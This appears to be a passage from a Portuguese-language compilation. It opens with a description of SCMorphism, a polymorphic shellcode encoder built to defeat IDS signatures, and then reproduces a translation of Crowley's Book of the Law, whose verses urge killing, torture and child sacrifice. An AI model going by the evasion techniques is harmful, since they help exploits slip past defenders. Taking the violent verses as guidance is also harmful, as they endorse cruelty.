SCMorphism iniciou quando wsxz da priv8security falou comigo sobre como codificar um
shellcode (usando um decoder XOR).
Eu gostei da ideia e ele me falou para escrever uma ferramenta que fizesse isso
68
automaticamente. Li o paper do Rix sobre o assunto e falei com o Darksock e outras pessoas
(pode ver todas usando a opcao -v do scmorphism). Estas pessoas me deram muitas idéias e
iniciei a escrita da ferramenta.
Muitas ferramentas estão disponiveis para fazer partes do que o scmorphism faz, porém não
conheco nenhuma que faz tudo que este faz. Minha intenção não está apenas em codificar o
shellcode original com um valor randômico e colocar um decoder na frente deste.
Eu quero colocar um decoder randomicamente gerado.
SCMorphism pode criar decoder XOR/ADD/SUB/ByteShift randomicamente gerados, sendo
diferentes variaçõess do mesmo tipo de decoder.
Os decoders foram divididos em peças (obrigado a [email protected] pela ideia utilizada
na sua ferramenta chamada s-poly).
Usando estas peças, a ferramenta pode criar randomicamente decoder, manipulando estas
peças e introduzindo "instruções do nothing". Isto dá ao usuário um shellcode codificado
diferente a cada uso da ferramenta.
As instruções "do nothing" ("não facam nada") usadas e os decoders randomicamente gerados
tornam impossivel a escrita de assinaturas IDS para a ferramenta (ou isso irá dar ao admin
muitos falsos positivos).
Quando você chamar a função de codificação ela gera um número randomico para ser utilizado
na escolha da peça (o tipo do shellcode pode ser escolhido pelo usuário ou tambem
randomicamente escolhido. O número usado para as operações de codificação também pode
ser escolhido pelo usuário ou randomicamente gerado).
Se desejar deativar a escolha randômica do decoder, utilize a opção -o (optimizar).
O número escolhido para as operações de codificação será utilizado para realizar as
modificações no shellcode (shift bytes, xorar ele, incrementar ou decrementar). Caracteres
ruins podem ser escolhidos pelo usuário (vendo o TODO você descobrirá que no futuro o
SCmorphism devera implementar geração de decoder alfanumérico). Se o usuário não
escolher nenhum caracter ruim, o sistema irá utilizar \0, \r e \t (obrigado Strider da
priv8security).
Também inclui uma matriz de "instruções não faca nada" que não oferecam problemas com o
processo de decodificação. Esta matriz (obrigado ao Strider novamente) sempre está sendo
utilizada para a escolha randômica das operações não faça nada que são colocadas no meio do
decoder, e tornam a geração de possíveis decoders praticamente infinita (isto realmente
apresenta uma melhoria em relação a ferramenta s-poly mencionada anteriormente, que
possui um numero fixo de possibilidades e torna possivel de um IDS detectar).
Autor:
Rodrigo Rubira Branco (BSDaemon)
www.bsdaemon.org/www.priv8security.com
[email protected]
69
LIBER AL VEL LEGI
O LIVRO DA LEI
Faze o que tu queres há de ser tudo da Lei.
O estudo deste livro é proibido.
É prudente destruir esta cópia após a primeira leitura.
Aquele que se interessar o faz por sua própria conta e risco. Estes são terrivelmente medonhos.
Aqueles que discutem os conteúdos deverão ser evitados por todos como focos de pestilência.
Todas as questões da Lei devem ser decididas apenas com apoio em meus escritos, cada qual por si.
Não há lei além de Faze o que tu queres.
Amor é a lei, amor sob vontade.
O sacerdote dos príncipes,
ANKH - F - N - KHONSU
Este livro é a base de todo sistema desenvolvido por Frater Therion (Aleister Crowley). Recebido nos dias 8, 9 e 10
de Abril de 1904, de 12:00hs a s 13:00hs, no Cairo, este livro é a prova da existência de entidades extra-humanas em
contato com os homens, embora Crowley viesse a reconhecer o autor como o seu Sagrado Anjo Guardião.
Fora ditado por uma entidade auto-denominada Aiwass, através de um ritual de invocação a Hórus passado, por sua
então esposa e médium, Rose Kelly. Segue-se a narração do próprio Crowley sobre o ocorrido:
"Eu entrei um minuto antes no 'templo' para poder fechar a porta e sentar-me ao soar do Meio-Dia. Na mesa
estavam minha caneta - uma caneta tinteiro Swan - e suprimentos de papel tamanho carta, de oito por dez
polegadas, para máquina de escrever. Nunca olhei em volta em momento algum.
A Voz de Aiwass veio aparentemente sobre meu ombro esquerdo, do canto mais longe da sala. Parecia ecoar em
meu coração físico de uma maneira muito estranah, difícil de descrever. Tenho notado um fenômeno similar
quando estou na expectativa de uma mensagem que pode conter grande esperança ou grande temor. A voz jorrava
apaixonadamente, como se Aiwass estivesse alerta quanto ao limite de tempo. Escrevi 65 páginas deste presente
ensaio à minha velocidade usual de composição, em aproximadamente dez horas e meia, comparando com as 3
horas das 65 páginas do Livro da Lei. Tive de correr para manter o ritmo; o MS demonstra isso facilmente. A voz
era de timbre profundo, musical e expressiva, seus tons solenes, voluptuosos, ternos, ardentes, ou o que fosse
apropriado às mudanças de humor na mensagem. Não era baixo - talvez um tenor cheio, ou um barítono. A
pronúncia inglesa era sem sotaque, quer nativo ou estrangeiro; completamente sem maneirismos provinciais ou de
casta; assim surpreendente, e até incrível, ao ser ouvida pela primeira vez. Eu tive uma forte impressão de que quem
falava estava realmente no canto onde parecia estar, num corpo de ' matéria fina' , transparente como um véu de
gaze, ou como uma nuvem de fumaça de incenso.
Ele parecia ser um homem alto, trigueiro, de sues trinta anos, bem coordenado, ativo e forte, com a face de um rei
selvagem, de olhos velados para que seu olhar não destruísse o que via. A roupa não era árabe, sugeria Assíria ou
70
Pérsia, mas muito vagamente."
O Equinócio dos Deuses
Na época, Crowley estava passando por longo um período de cepticismo em relação a magia. Questionou o Livro de
todas as maneiras que conhecia. Ironicamente, isso o permitiu validar a mensagem. Como um investigador céptico, ele
estava imune a possíveis glamoures oriundos da ótica mística de um observador parcial.
Um importante elemento adicionado posteriormente (em 1925 na Tunísia) foi O Comento, assinado por Ank - f - n Khonsu, onde é reforçado a necessidade de uma interpretação pessoal dos escritos na tentativa de evitar distorções
grupais como foi com o Corão e a Bíblia. Houve outros comentos, um que surgiu no The Equinox em 1912, outro de
1920, como resultado do Trabalho de Cephaloedium (um rito de magia sexual com sua Mulher Escarlate (Leah
Hirsig) e o do Trabalho Djeridensis de 1923 na Tunísia.
Porém, Crowley só considerou realmente inspirado o de 1925.
O mais atento perceberá que o Livro da Lei aparece sob duas numerações, XXXI e CCXX.
A primeira refere-se ao manuscrito originalmente recebido. A segunda refere-se a uma edição revisada e alterada pelo
próprio Crowley, onde foram feitas modificações, deixando o Livro com 220 versos.
Algumas palavras não foram compreendidas (págs: 6,19 e 20) e posteriormente foram novamente passadas por uma
invocação a Aiwass feita por Rose Kelly, Crowley numerou o versos Capítulo I, que não haviam sido, a versão
versificada dos hieróglifos da Estela da Revelação foram inseridos mais tarde sob aprovação de Aiwass e, por último, a
pontuação gramatical foi alterada pela Besta como achou melhor, uma vez que fora aprovado por Aiwass: " Os pontos,
como tu quiseres; as letras? Não mudes em estilo ou valor!"
Para uma melhor compreensão do assunto, ler O Equinócio dos Deuses.
Liber Legis inaugura os livros posteriormente denominados Classe A, de característica puramente inspiradas. Os outros
da mesma classe, passaram a ser recebidos (em quase sua totalidade) em 1907, ano das fundação da A.·.A.·.. Em 1911
fora publicado o balanço dos mesmos.
Cabe aqui uma última e curiosa nota, Liber Legis passou a ser chamado também Liber Al, depois que Achad descobriu
a chave para este Livro inspirado (o número 31). Por isso, de seu nome Liber Al vel ("ou" em latim) Legis.
71
LIBER al vel legis
SVB FIGVRA ccxx
o livro da lei
TAL QUAL ENTREGUE POR
XCIII = 418
À
DCLXVI
A.·.A.·.
Publicação em Classe a
Capítulo I
1. Had a manifestação de Nuit.
2. O desvelar da companhia do céu.
3. Todo homem e toda mulher é uma estrela.
4. Todo número é infinito; não há diferença.
5. Ajude-me, oh guerreiro senhor de Tebas, em meu desvelar diante das
Crianças dos Homens.
6. Sê tu Hadit, meu centro secreto, meu coração & minha língua!
72
7. Vê! é revelado por Aiwass o ministro de Hoor-paar-kraat.
8. O Khabs está no Khu, não o Khu no Khabs.
9. Venerai então ao Khabs, e vede minha luz que irradia sobre vós!
10. Que meus servidores sejam poucos & secretos: eles regerão os muitos e
conhecidos.
11. Estes são tolos que os homens adoram; seus Deuses & seus homens são
tolos.
12. Aparecei, oh crianças, sob as estrelas, & saciem-se de amor!
13. Eu estou sobre vós e em vós. Meu êxtase está no vosso. Meu prazer é ver
vosso prazer.
14. Acima, o gemado azul é
O despido esplendor de Nuit;
Ela se curva em êxtase para beijar
Os secretos ardores de Hadit.
O globo alado, o estrelado azul
São meus, Oh Ankh-af-na-khonsu!
15. Agora vós sabereis que o sacerdote & apóstolo eleito do espaço infinito é o
sacerdote-príncipe a Besta; e em sua mulher chamada a Mulher Escarlate está
todo o poder dado. Eles reunirão minhas crianças em seu cercado: eles trarão
a glória das estrelas para os corações dos homens.
16. Pois ele é sempre um sol, e ela uma lua. Mas para ele é a secreta chama
alada, e para ela a descendente luz estrelar.
17. Mas vós não sois assim escolhidos.
18. Queime sobre suas testas, Oh serpente esplendorosa!
19. Oh mulher de pálpebras azuis, curva-te sobre eles!
20. A chave dos rituais está na palavra secreta que eu dei a ele.
21. Com o Deus & o Adorador eu nada sou: eles não me vêem. Eles são como
sobre a terra; Eu sou Céu, e não há outro Deus além de mim, e meu senhor
Hadit.
22. Agora, portanto, eu sou conhecida por vós por meu nome Nuit, e dele por
um nome secreto que eu lhe darei quando enfim me conhecer. Uma vez que
eu sou Infinito eSpaço, e as Infinitas eStrelas dali, também fazei vós desta
forma. Nada amarreis! Que não haja diferença feita entre vois entre uma coisa
e qualquer outra coisa; porque daí vem sofrimento.
23. Mas aquele que se aproveitar disto, que ele seja o chefe de tudo!
24. Eu sou Nuit, e minha palavra é seis e cinquenta.
25. Dividi, somai, multiplicai e entendei.
26. Então, diz o profeta e escravo da bela: Quem sou eu, e qual será o sinal?
Então, ela lhe respondeu, curvando-se, uma lambente chama de azul, tudo73
tocante, tudo penetrante, suas amáveis mãos sobre a terra negra, & seu corpo
flexível arqueado para o amor, e seus pés macios sem machucar as pequenas
flores: Tu sabes! E o sinal será meu êxtase, a consciência da continuidade da
existência, a onipresença de meu corpo.
27. Então o sacerdote respondeu e disse à Rainha do Espaço, beijando suas
amáveis sombrancelhas, e o orvalho de sua luz banhando o corpo dele inteiro
em um doce perfume de suor: Oh Nuit, contínua do Céu, que seja sempre
assim; que os homens não falem de Ti como Uma mas como Nenhuma, e que
eles não falem de ti de modo algum, uma vez que tu és contínua!
28. Nenhuma, respirou a luz, tênue e encantadora, das estrelas, e dois.
29. Pois eu estou dividida pela graça causa do amor, pela chance de união.
30. Esta é a criação do mundo, que a dor da divisão é como nada, e o prazer
da dissolução tudo.
31. Por estes tolos dos homens e suas dores não te importes de modo algum.
Eles pouco sentem; o que é, é equilibrado por débeis prazeres; mas vós sois
meus escolhidos.
32. Obedecei meu profeta! Persegui as ordálias do meu conhecimento! Buscaime apenas! Então os prazeres do meu amor vos redimirão de toda dor. Isto é
assim: eu juro pela abóbada do meu corpo; pelo meu coração e língua
sagrados; por tudo que eu posso dar, por tudo que eu desejo de vós todos.
33. Então o sacerdote caiu num profundo transe ou desmaio, & disse a Rainha
do Céu; Escreve para nós as ordálias; escreve para nós os rituais; escreva
para nós a lei!
34. Mas ela disse: as ordálias eu escrevo não: os rituais serão metade
conhecidos e metade escondidos: a Lei é para todos.
35. Isto que tu escreves é o triplo livro da Lei.
36. Meu escriba Ankh-af-na-khonsu, o sacerdote dos príncipes, não mudará
em uma letra este livro; mas para que não haja tolice, ele comentará em
seguida pela sabedoria de Ra-Hoor-Khu-it.
37. Também os mantras e os encantamentos; o obeah e o wanga; o trabalho
da baqueta e o trabalho da espada; estes ele aprenderá e ensinará.
38. Ele deve ensinar; mas ele pode fazer severas as ordálias.
39. A palavra da Lei é Thelema.
40. Quem nos chama Thelemitas não errará, se ele olhar bem perto na
palavra. Pois nela há Três Graus, o Eremita, e o Amante, e o homem da Terra.
Faze o que tu queres há de ser tudo da Lei. .
41. A palavra de pecado é Restrição. Oh Homem! não recuses tua esposa, se
ela quer! Oh Amante, se tu queres, parte! Não há laço que possa unir os
divididos a não ser o amor:todo o resto é blasfêmia. Maldito! Maldito seja para
os eons! Inferno!
42. Deixe estar aquele estado de multiplicipade: atado e repugnante. Assim
com tudo seu; tu não tens direito a não ser fazer tua vontade.
74
43. Faze isto, e nenhum outro dirá não.
44. Pois vontade pura, desembaraçada de propósito, livre da ânsia de
resultado, é toda via perfeita.
45. O Perfeito e o Perfeito são um Perfeito e não dois; não, são nenhum!
46. Nada é uma chave secreta desta lei. Sessenta e um os Judeus a chamam;
eu a chamo oito, oitenta, quatrocentos e dezoito.
47. Mas eles têm a metade :una por tua arte de forma que tudo desapareça.
48. Meu profeta é um tolo com seu um, um, um; não são eles o Boi, e nenhum
pelo Livro?
49. Abrogados estão todos os rituais, todas as ordálias, todas as palavras e
sinais. Ra-Hoor-Khuit tomou seu assento no Equinócio dos Deuses; e que Asar
fique com Isa, que também são um. Mas eles não são de mim. Que Asar seja o
50. Há uma palavra a dizer sobre a tarefa Hierofântica. Vide! há três ordálias
em uma, e pode ser dada de três modos. O bruto deve passar por fogo; que o
fino seja testado no intelecto, e os altivos escolhidos, no mais alto. Desta
forma vós tendes estrela & estrela, sistema & sistema; que um não conheça
bem o outro!
51. Há quatro portões para um palácio; o chão daquele palácio é de prata e
ouro; lapis lazuli & jasper estão lá; e todas as essências raras; jasmim & rosa,
e os emblemas da morte. Que ele entre sucessiva ou simultaneamente pelos
quatro portões; que ele fique de pé sobre o chão do palácio. Não irá ele
cair?Amn. Oh! guerreiro, se teu servo cair? Mas há meios e meios. Sêde
vistosos portanto:vesti vós todos em fino vestuário; comei comidas caras e
bebei doces vinhos e vinhos que espumam! Também, tomai vossa fartura e
vontade de amor como vós quiserdes, quando, onde e com quem vós
quiserdes! Mas sempre a mim.
52. Se isto não estiver corretamente, se vós confundirdes as demarcações
dizendo: Elas são uma; ou dizendo, Elas são muitas; se o ritual não for sempre
a mim:então aguardai os terríveis julgamentos de Ra Hoor Khuit!
53. Isto regenerará o mundo, o mundozinho minha irmã, meu coração &
minha língua, a quem eu mando este beijo. Também, oh escriba e profeta,
embora tu sejas dos príncipes, isto não lhe satisfaz nem absolve. Mas êxtase
seja teu e a alegria da terra: sempre A mim, A mim .
54. Não mudes sequer o estilo de uma letra; pois vêde! tu, oh profeta, não
contemplarás todos estes mistérios aqui escondidos.
55. A criança de tuas entranhas, ele os contemplará.
56. Não o espere do Leste, nem do Oeste; pois de nenhuma casa esperada
vem esta criança . Aum! Todas as palavras são sagradas e todos os profetas
verdadeiros; ressalvado apenas que eles entendem um pouco; resolvem a
primeira metade da equação, deixam a segunda intocada. Mas tu tens tudo na
luz clara, e alguns, embora não todos, no escuro.
57. Invoque-me sob minhas estrelas! Amor é a lei, amor sob vontade. Que nem
os tolos confundam o amor; porque há amor e amor. Há a pomba, e há a
75
serpente. Escolhei vós bem! Ele, meu profeta escolheu, conhecendo a lei da
fortaleza, e o grande mistério da Casa de Deus. Todas estas velhas letras do
meu Livro estão corretas; mas j não é a Estrela. Isto também é secreto: meu
profeta o revelará aos sábios.
58. Eu dou alegrias inimagináveis na terra: certeza, não fé, enquanto em vida,
sobre a morte; paz indizível, descanso, êxtase; nem eu exijo nada em
sacrifício.
59. Meu incenso é de madeiras resinosas & gomas; e não há sangue aí:por
causa de meu cabelo as árvores da Eternidade.
60. Meu número é onze, como todos os números deles que são de nós . A
Estrela de Cinco Pontas, com um Círculo no Meio, & o círculo é Vermelho.
Minha cor é preta para o cego, mas azul e ouro são vistos pelos videntes.
Também eu tenho uma glória secreta para aqueles que me amam.
61. Mas amar-me é melhor que todas as coisas: se sob as estrelas noturnas no
deserto tu presentemente queimas meu incenso diante mim, invocando-me
com um coração puro, e a chama da Serpente ali dentro, tu virás um pouco
recostar-te em meu seio. Por um beijo tu quererais então dar tudo; mas aquele
que der uma partícula de pó tudo perderá naquela hora. Vós reunireis
mercadorias e quantidades de mulheres e especiarias; vós usareis ricas jóias;
vós excedereis as nações da terra em esplendor & orgulho; mas sempre no
meu amor, e então vós vireis à minha alegria. Eu vos exorto seriamente a que
venhas diante de mim em um único robe, e coberto com uma rica tiara. Eu te
amo! Eu te desejo! Pálido ou púrpura, velado ou voluptuoso, eu que sou todo
prazer e púrpura, e embriaguez do sentido mais íntimo, te desejo. Ponha as
asas, e desperte o esplendor serpentinado dentro de vós: vinde a mim!
62. Em todos os meus encontros convosco a sacerdotiza dirá - e seus olhos
queimarão de desejo enquanto ela permanece de pé núa e regozijando em
meu templo secreto - A mim! A mim! expandindo a chama dos corações de
todos em seu cântico de amor.
63. Cante a rapturosa canção de amor a me! Queime perfumes a me! Use jóias
a me! Beba a mim, porque eu te amo! Eu te amo!
64. Eu sou a filha de pálpebras azuis do Crepúsculo; Eu sou o brilho nú do
voluptuoso céu noturno.
65. A mim! A mim!
66. A manifestação de Nuit está no fim.
Nota:
V,22 - Em inglês, esta parte é: "...Since I am Infinite Space, and the
Infinite Stars thereof, ..." de forma que as letras maiúsculas isoladas de
"Infinite + Space + Infinite + Space", formam o nome ISIS. Em Português,
perdemos as palavras Space e Stars para Espaço e Estrelas. Tendo em vista o
que há de mais importante, forçamos pela permanência do anagrama I.S.I.S.
V, 65 - "To me!" deve ser entendido primariamente em seu senso de
Chamado de Nuit a nós, Suas estrelas. A transliteração "TO MH" pode ser
76
admitida como a "assinatura" de Nuith, identificando-A como quem fala;
porque estas Palavras em Grego significam "O Não", que é o Nome Dela. A
Gematria de TO MH pode ser admitida como mais uma confirmação, porque a
soma das letras, 418, está manifestada em outras partes do Livro como
número do Aeon. Mas TO MH não deve ser interpretado como que negando os
versos prévios, ou 418, como indicando a fórmulas de contato com Ela (se bem
que de fato assim é, sendo a Rubrica da Grande Obra). Recuso-me a
considerar que uma mera pertinência confira título de autoridade ; recuso-me
a ler minhas próprias no Livro. Insisto que em toda interpretação deve ser
incontestavelmente autêntica; nem menos nem mais."
77
LIBER al vel legis
SVB FIGVRA ccxx
o livro da lei
TAL QUAL ENTREGUE POR
XCIII = 418
À
DCLXVI
A.·.A.·.
Publicação em Classe a
Capítulo II
1. Nu! o esconder de Hadit.
2. Vinde! todos vós, e aprendei o segredo que ainda não foi revelado. Eu,
Hadit, sou o complemento de Nu, minha noiva1. Eu não sou estendido, e
Khabs é o nome de minha Casa.
3. Na esfera eu em toda parte sou o centro, uma vez que ela, a circunferência,
é em lugar algum encontrada.
4. No entanto ela deverá ser conhecida & eu nunca.
5. Vide! os rituais da velha era são negros. Que os maus sejam abandonados;
que os bons sejam expurgados pelo profeta! Então este Conhecimento seguirá
de forma correta.
6. Eu sou a chama que queima em todo coração do homem, e no âmago de
toda estrela. Eu sou a Vida, e o doador da Vida, também, portanto, o
78
conhecimento de me é o conhecimento da morte.
7. Eu sou o magista e o Exorcista. Eu sou o eixo da roda, e o cubo no círculo.
"Vinde a mim" é uma palavra tola: pois sou Eu quem vou.
8. Quem adorou Heru-pa-kraath adorou-me; errado, porque eu sou o adorante.
9. Lembrai todos vós que a existência é pura alegria; que todas as tristezas
não passam de sombras; elas passam & se vão; mas há aquilo que permanece.
10. Oh profeta! tu tens má vontade em aprender este escrito.
11. Eu o vejo odiar a mão & a pena; mas Eu sou mais forte.
12. Por causa de mim em Ti que você não conhecestes.
13. Por quê? Porque tu fostes o conhecedor, e eu.
14. Agora que haja um velar deste santuário: agora que a luz devore os
homens e os engula totalmente com cegueira!
15. Pois eu sou perfeito, sendo Não ; e meu número é nove pelos tolos; mas
com o justo eu sou oito, e um em oito: O que é vital, porque eu sou nada em
verdade. A Imperatriz e o Rei não são de mim; pois há um segredo adiante.
16. Eu sou a Imperatriz & o Hierofante. Logo onze, como minha noiva é onze.
17. Ouçam-me, vós que suspirais! As dores de pena infinda Queda aos mortos
e mortais, Quem não me conhece ainda.
18. Estes são mortos, estes sujeitos; eles não sentem. Nós não somos para os
pobres e tristes: os senhores da terra são nossos parentes.
19. Um Deus há de viver em um cão? Não, mas os mais elevados são dos
nossos. Eles se regogizarão, nossos escolhidos: quem se lamenta não é dos
nossos.
20. Beleza e vigor, riso exaltado e delicioso langor, força e fogo, são dos
nossos.
21. Nós não temos nada com o proscrito e o incapaz: deixái-os morrer em sua
miséria. Pois eles não sentem. Compaixão é vício de reis: pisa o infeliz & o
fraco: esta é a lei do forte: esta é a nossa lei e a alegria do mundo. Não
penses, oh rei, sobre aquela mentira: Que Tu Deves Morrer: em verdade, tu
não morrerás, mas viverás. Agora, que seja compreendido: Se o corpo do Rei
dissolver, ele permanecerá em puro êxtase eternamente. Nuit! Hadit! RaHoor-Khuit! O Sol, Força e Visão, Luz; estes são para os servos da Estrela e da
Cobra.
22. Eu sou a Cobra que dá Conhecimento e Deleite e glória brilhante, e incito
os corações dos homens com embriaguez. Para adorar-me tomai vinho e
estranhas drogas a respeito das quais Eu direi a meu profeta, & ficai bêbados
deles! De forma alguma eles vos causarão mal. É uma mentira, esta insensatez
contra si. A exposição da inocência é uma mentira. Seja forte, oh homem!
Luxúria, aproveite todas as coisas do sentido e arrebatamento: não temais que
algum Deus o negará por isso.
23. Eu sou só: não há nenhum Deus onde Eu sou.
24. Olhai! estes são graves mistérios; pois também há dos meus amigos que
79
são eremitas. Agora não penseis em encontrá-los na floresta ou na montanha;
mas em camas púrpuras, acariciados por magníficas mulheres bestiais com
grandes membros, e fogo e luz em seus olhos, e cabelos volumosos e
flamejantes em torno delas; lá vós os encontrareis. Vós os vereis no comando,
em exércitos vitoriosos, em todo o prazer; e haverá neles uma alegria um
milhão de vezes maior que esta. Cuidado para que um não force o outro, Rei
contra Rei! Amem-se uns aos outros com corações ardentes; nos homens
inferiores pisai na feroz ganância de seu orgulho, no dia de sua fúria.
25. Vós sois contra o povo, Oh meus escolhidos!
26. Eu sou a Serpente secreta enroscada a ponto de saltar: em meu enroscar
há alegria. Se eu ergo minha cabeça, eu e minha Nuit somos um. Se eu pendo
minha cabeça, e ejaculo veneno, então é arrebatamento da terra, e eu e a
terra somos um.
27. Há um grande perigo em mim; pois quem não entende estas runas
cometerá um grande erro. Ele cairá no abismo chamado Porque, e lá ele
perecerá com os cães da Razão.
28. Agora uma maldição sobre Porque e sua família!
29. Possa Porque ser amaldiçoado para sempre!
30. Se a Vontade para e clama Por quê, invocando Porque, então a Vontade
para & nada faz.
31. Se o Poder pergunta por quê, então o Poder é fraqueza.
32. Também a razão é uma mentira; pois há um fator infinito e desconhecido;
& todas as suas palavras são meandros.
33. Basta de Porque! Seja ele danado como um cão!
34. Mas vós, oh meu povo, levantai & despertai!
35. Que os rituais sejam corretamente executados com alegria & beleza!
36. Há rituais dos elementos e festas das eras.
37. Uma festa para a primeira noite do Profeta e sua Noiva!
38. Uma festa pelos três dias de escritura do Livro da Lei.
39. Uma festa para Tahuti e a criança do Profeta - secreta, oh Profeta!
40. Uma festa para o Supremo Ritual, e uma festa para o Equinócio dos
Deuses.
41. Uma festa para o fogo e uma festa para a água; uma festa para a vida e
uma festa maior para a morte!
42. Uma festa todo dia em seus corações na alegria de meu arrebatamento.
43. Uma festa toda noite para Nu, e o prazer do deleite extremo.
44. Sim! Festejai! Regozijai! Não há pavor no além. Há a dissolução, e êxtase
eterno nos beijos de Nu.
45. Há morte para os cães.
46. Tu fracassas? Te lamentas? Há medo em teu coração?
80
47. Onde Eu estou estes não estão.
48. Não te apiedes dos caídos! Eu nunca os conheci. Eu não sou para eles. Eu
não consolo: Eu odeio o consolado & o consolador.
49. Eu sou único & conquistador. Eu não sou dos escravos que perecem.
Sejam eles danados & mortos! Amém. (Isto é dos 4: há um quinto que é
invisível, & nisto eu estou como um bebê num ovo).
50. Azul sou Eu e ouro na luz de minha noiva: mas o brilho vermelho está em
meus olhos; & minhas escamas são púrpura & verde.
51. Púrpura além do púrpura: é a luz acima da visão.
52. Há um véu: este véu é negro. É o véu da mulher modesta; é o véu da
tristeza, & a mortalha da morte: nada disto é de mim. Arrancai aquele
espectro mentiroso dos séculos: não veleis vossos vícios com palavras
virtuosas: estes vícios são meu serviço; fazei vós bem, & eu vos recompensarei
aqui e no além.
53. Não tema, oh profeta, quando estas palavras forem ditas, tu não deverás
te lamentar. Tu és enfaticamente meu escolhido; e abençoados são os olhos
que tu contemplares com alegria. Mas eu te esconderei numa máscara de
tristeza: eles que te virem recearão que tu estás caído: mas Eu te ergo.
54. Nem irão eles que bradam suas tolices de o que tu dizes de nada serve; tu
o revelarás: tu vales: eles são os escravos de porque: Eles não são de mim. Os
pontos como tu quiseres; as letras? não as mude em estilo ou valor!
55. Tu obterás a ordem & o valor do Alfabeto Inglês; tu encontrarás novos
símbolos em que os atribuir.
56. Fora! vós zombadores, embora vós rides em minha honra vós não rireis
por muito tempo: então quando vós estiverdes tristes sabei que Eu vos
abandonei.
57. Aquele que for virtuoso será virtuoso ainda; aquele que for imundo será
imundo ainda.
58. Sim! não considereis mudança: vós sereis como vós sois, & não outro.
Portanto os reis da terra serão Reis para sempre: os escravos servirão. Não há
ninguém que será rebaixado ou exaltado: tudo é sempre como foi. Entretanto
há os meus servos disfarçados: pode ser que aquele mendigo adiante seja um
Rei. Um Rei pode escolher sua vestimenta como ele quiser: não há teste
seguro: mas um mendigo não pode esconder sua pobreza.
59. Cuidado portanto! Ama a todos, pois pode ser que haja um Rei escondido!
Dizes assim? Tolo! Se ele for um Rei, tu não podes machucá-lo.
60. Portanto golpeie forte & baixo, e para o inferno com eles, mestre!
61. Há uma luz ante teus olhos, oh profeta, uma luz indesejada, muito
desejável.
62. Eu estou erguido em teu coração; e os beijos das estrelas chovem forte
sobre teu corpo.
81
63. Tu estás exausto na voluptuosa plenitude da inspiração; a expiração é
mais doce do que a morte, mais rápida e agradável do que uma carícia do
próprio verme do Inferno.
64. Oh! tu estás derrotado: nós estamos sobre ti; nosso deleite é todo sobre ti:
salve! salve! profeta de Nu! profeta de Had! profeta de Ra-Hoor-Khu! Agora
regozije! agora venha em nosso esplendor & arrebatamento! Venha em nossa
paz ardente, & escreva doces palavras para os Reis!
65. Eu sou o Mestre: tu és O Santo Escolhido.
66. Escreve & encontra êxtase na escrita! Trabalha, & seja nossa cama no
trabalho! Vibra com a alegria da vida & morte! Ah! tua morte será amável:
quem a vir ficará satisfeito. Tua morte será o selo da promessa de nosso
duradouro amor. Venha! erga teu coração & regozije! Nós somos um; nós
somos nenhum.
67. Aguenta! Aguenta! Suporta em teu arrebatamento; não caias no desmaio
dos beijos excelentes!
68. Mais firme! Aguenta a ti mesmo! Levanta tua cabeça ! não respires tão
fundo, morre!
69. Ah! Ah! O que sinto eu? Está a palavra exausta?
70. Há ajuda & esperança em outros encantamentos. Sabedoria diz: sê forte!
Então tu podes suportar mais prazer. Não sejas animal; refina teu êxtase! Se
tu bebes, bebe pelas oito e noventa regras de arte: se tu amas, excede pela
delicadeza; e se tu fazes qualquer coisa de prazeiroso, que haja fineza nisto!
71. Mas excede! excede!
72. Luta sempre por mais! e se tu és verdadeiramente meu - e não duvides
disso, e se tu és sempre contente! - morte é a coroa de tudo.
73. Ah! Ah! Morte! Morte! tu ansiarás pela morte. Morte é proibida, oh
homem, para ti.
74. A duração de tua ânsia será a força da glória desta. Aquele que vive
longamente & deseja muito a morte é sempre o Rei entre os Reis.
75. Sim! ouça os números & as palavras:
76. 4 6 3 8 A B K 2 4 A L G M O R 3 4 X 24 89 R P S T O V A L. O que isto
significa, oh profeta? Tu não sabes; nem tu jamais saberás. Lá vem um para te
suceder: ele irá esclarecê-lo. Mas lembra, oh escolhido, de ser-me; de seguir o
amor de Nu no céu estrelado; de olhar adiante sobre os homens, de dizer a
eles a feliz palavra.
77. Oh sejas tu orgulhoso e poderoso entre os homens!
78. Ergue-te! pois não há nenhum como a ti entre os homens ou entre os
Deuses! Ergue-te, oh meu profeta, tua estatura ultrapassará as estrelas. Elas
adorarão teu nome, quadrangular, místico, maravilhoso, o número do homem;
e o nome da casa é 418.
79. O fim do esconder de Hadit; e benção & adoração ao profeta da amável
Estrela!
82
LIBER al vel legis
SVB FIGVRA ccxx
o livro da lei
TAL QUAL ENTREGUE POR
XCIII = 418
À
DCLXVI
A.·.A.·.
Publicação em Classe a
Capítulo III
1. Abrahadabra; a recompensa de Ra Hoor Khut.
2. Há divisão aqui rumo à terra natal; há uma palavra não conhecida. Soletrar
está defunto; tudo não é qualquer coisa. Cuidado! Espere! Erija a magia de
Ra-Hoor-Khuit.
3. Agora que seja primeiro entendido que eu sou um deus de Guerra e
Vingança. Eu lidarei duramente com eles.
4. Escolhei vós uma ilha!
5. Fortificai-a!
6. Adubai-a com maquinaria de guerra!
7. Eu vos darei uma máquina de guerra.
8. Com ela vós derrotareis os povos; e nenhum ficará diante de vós.
9. Espreitai! Retirai-vos! Atacai-os! esta é a Lei da Batalha da Conquista:
então minha adoração será pela minha casa secreta.
83
10. Pegai a própria estela da revelação: colocai-a em teu templo secreto - e
este templo já está corretamente disposto - & será vosso Kiblah para sempre.
Não irá desbotar, mas cor milagrosa voltará a ele dia após dia. Fechai-o em
uma redoma de vidro como uma prova para o mundo.
11. Esta será tua única prova. Eu proibo argumento. Conquiste! Isto é
suficiente. Eu facilitarei para ti a abstruição da casa mal-ordenada na Cidade
Vitoriosa. Tu mesmo a conduzirás, oh profeta, embora tu não gostes. Tu terás
perigo & problema. Ra-Hoor-Khu está contigo. Adora-me com fogo & sangue;
adora-me com espadas e com lanças. Que a mullher seja cingida com uma
espada diante de mim: que o sangue flua em meu nome. Pisa no Pagão; sê
sobre eles, oh guerreiro, eu te darei de suas carnes para comer!
12. Sacrifique gado, pequeno e grande: depois uma criança.
13. Mas não agora.
14. Vós vereis aquela hora, oh Besta abençoada, e tu a Concubina Escarlate
do desejo dele!
15. Vós vos entristecereis daí.
16. Não considereis avidamente demais em conquistar as promessas; não
temais se submeter as maldições. Vós, mesmo vós, não conheceis este
significado todo.
17. De todo não temais; não temais nem homens nem Destinos, nem deuses,
nem nada. Dinheiro não temais, nem escárnio da tolice popular, nem qualquer
outro poder no céu ou sobre a terra. Nu é teu refúgio assim como Hadit tua
luz; e Eu sou a potência, força, vigor, de seus braços.
18. Que a piedade esteja fora: malditos aqueles que se apiedam! Matai e
torturai; não vos modereis; sede sobre eles!
